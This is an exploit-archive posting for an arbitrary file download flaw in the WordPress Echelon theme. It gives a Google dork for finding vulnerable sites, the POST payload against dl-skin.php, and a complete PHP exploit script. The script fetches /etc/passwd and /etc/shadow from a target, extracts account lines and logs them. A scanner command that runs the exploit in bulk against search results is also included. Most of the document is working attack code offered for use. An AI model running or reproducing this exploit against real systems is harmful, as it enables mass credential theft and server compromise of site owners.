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WordPress A.F.D. Theme Echelon Arbitrary File Download

WordPress A.F.D. Theme Echelon Arbitrary File Download
Posted Dec 16, 2014
Authored by Cleiton Pinheiro

WordPress A.F.D. Theme Echelon suffers from an arbitrary file download vulnerability.

tags | exploit, arbitrary
MD5 | bc62e4e06319d8f7f0c9125fb2bbd51c

WordPress A.F.D. Theme Echelon Arbitrary File Download

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*Name:*
Wordpress A.F.D Theme Echelon / INURL - BRASIL

*Description:*
This exploit allows attacker to download any writable file from the server

*Usage info:*
Put the path of the file in the file's field of the exploit ,then click
"Download" button then you get the file directly

File download /etc/passwd & /etc/shadow

Failure consists of exploring a parameter $ _POST file
/wp-content/themes/echelon/lib/scripts/dl-skin.php

The following fields are exploited for Arbitrary File Download
*POST:*
_mysite_download_skin={$config['file']}&submit=Download
ex:
_mysite_download_skin=/etc/passwd&submit=Download

*Exploit:*



<?php

#===============================================================================
# NAME: Wordpress A.F.D Theme Echelon
# TIPE: Arbitrary File Download
# Google DORK: inurl:/wp-content/themes/echelon
# Vendor: www.wordpress.org
# Tested on: Linux
# EXECUTE: php exploit.php www.alvo.com.br
# OUTPUT: EXPLOIT_WPAFD_Echelon.txt
# AUTOR: Cleiton Pinheiro
# Blog: http://blog.inurl.com.br
# Twitter: https://twitter.com/googleinurl
# Fanpage: https://fb.com/InurlBrasil
# GIT: https://github.com/googleinurl
# YOUTUBE https://www.youtube.com/channel/UCFP-WEzs5Ikdqw0HBLImGGA
#
#
------------------------------------------------------------------------------
# Comand Exec Scanner INURLBR:
# ./inurlbr.php --dork 'inurl:/wp-content/themes/echelon' -q 1,6 -s
save.txt --comand-all "php exploit.php _TARGET_"
#
------------------------------------------------------------------------------
# Download Scanner INURLBR:
# https://github.com/googleinurl/SCANNER-INURLBR
#===============================================================================

error_reporting(1);
set_time_limit(0);
ini_set('display_errors', 1);
ini_set('max_execution_time', 0);
ini_set('allow_url_fopen', 1);
ob_implicit_flush(true);
ob_end_flush();
print empty($argv[1]) ? exit('0x[ERROR]: DEFINA URL / Execute: php
exploit.php www.alvo.com.br') : NULL;
$argv[1] = isset($argv[1]) && strstr($argv[1], 'http') ? $argv[1] : "http://
{$argv[1]}";
!(preg_match_all("#\b((((ht|f)tps?://*)|(www|ftp)\.)[a-zA-Z0-9-\.]+)#i",
$argv[1], $alvo_)) ? exit('0x[ERROR]: DEFINA URL / Execute: php exploit.php
www.alvo.com.br') : NULL;
$config['line'] =
"\n------------------------------------------------------------------------------------------------------------------\n";
$config['alvo'] = $alvo_[0][0];
$config['exploit'] = "/wp-content/themes/echelon/lib/scripts/dl-skin.php";

function __plus() {

ob_flush();
flush();
}

function __convertUrlQuery($query) {

$queryParts = explode('&', $query);
$params = array();
foreach ($queryParts as $param) {
$item = explode('=', $param);
$params[$item[0]] = urlencode($item[1]);
}

return $params;
}

function __request_info($curl, $config) {
$postDados =
__convertUrlQuery("_mysite_download_skin={$config['file']}&submit=Download");
foreach ($postDados as $campo => $valor) {
$postDados_format .= $campo . '=' . ($valor) . '&';
}

$postDados_format = rtrim($postDados_format, '&');
curl_setopt($curl, CURLOPT_POST, count($postDados));
curl_setopt($curl, CURLOPT_POSTFIELDS, $postDados_format);
curl_setopt($curl, CURLOPT_URL, $config['alvo'] . $config['exploit']);
curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/' . rand(1, 20) . '.0
(X11; Linux x8' . rand(1, 20) . '_6' . rand(1, 20) . ') blog.inurl.com.br/'
. md5(rand(1, 200)) . '.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/'
. rand(1, 500) . '.31');
curl_setopt($curl, CURLOPT_REFERER, $config['alvo'] .
$config['exploit']);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 20);
curl_setopt($curl, CURLOPT_HEADER, 1);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
$corpo = curl_exec($curl);
$server = curl_getinfo($curl);
$status = NULL;
preg_match_all('(HTTP.*)', $corpo, $status['http']);
preg_match_all('(Server:.*)', $corpo, $status['server']);
preg_match_all('(Content-Disposition:.*)', $corpo,
$status['Content-Disposition']);
$info = str_replace("\r", '', str_replace("\n", '',
"{$status['http'][0][0]}, {$status['server'][0][0]}
{$status['Content-Disposition'][0][0]}"));
curl_close($curl);
unset($curl);
return isset($corpo) ? array('corpo' => $corpo, 'server' => $server,
'info' => $info) : FALSE;
}

function main($config,$rest) {

__plus();
print "0x " . date("h:m:s") . " [INFO][EXPLOITATION THE FILE]:
{$config['file']}:\n";
preg_match_all("(root:.*)", $rest['corpo'], $final);
preg_match_all("(sbin:.*)", $rest['corpo'], $final__);
preg_match_all("(ftp:.*)", $rest['corpo'], $final___);
preg_match_all("(nobody:.*)", $rest['corpo'], $final____);
preg_match_all("(mail:.*)", $rest['corpo'], $final_____);
$_final = array_merge($final[0], $final__[0], $final___[0],
$final____[0], $final_____[0]);
$res = NULL;
if (preg_match("#root#i", $rest['corpo'])) {
$res.= "0x " . date("h:m:s") . " [INFO][IS
VULN][RESUME][VALUES]:\n";
$res.=$config['line'] . "\n";
foreach ($_final as $value) {
$res.="0x " . date("h:m:s") . " [VALUE]: $value\n";
}
$res.=$config['line'];
__plus();
file_put_contents('EXPLOIT_WPAFD_Echelon.txt',
"{$config['alvo']}\n{$res}\n", FILE_APPEND);
print "{$res}[VALUES SAVED]: EXPLOIT_WPAFD_Echelon.txt\n\n";
} else {

print "0x " . date("h:m:s") . " [INFO][NOT VULN]\n";
}
}
print "\r\n0x[EXPLOIT NAME]: Wordpress A.F.D Theme Echelon / INURL -
BRASIL\n";
$config['file'] = '/etc/passwd';
$rest = __request_info($objcurl = curl_init(), $config);
__plus();
print $line;
print "0x " . date("h:m:s") . " [INFO]: {$rest['info']}\n";
print "0x " . date("h:m:s") . " [INFO][TARGET]: {$config['alvo']}\n";
main($config,$rest);
__plus();
$config['file'] = '/etc/shadow';
$rest = __request_info($objcurl = curl_init(), $config);
__plus();
main($config,$rest);
__plus();
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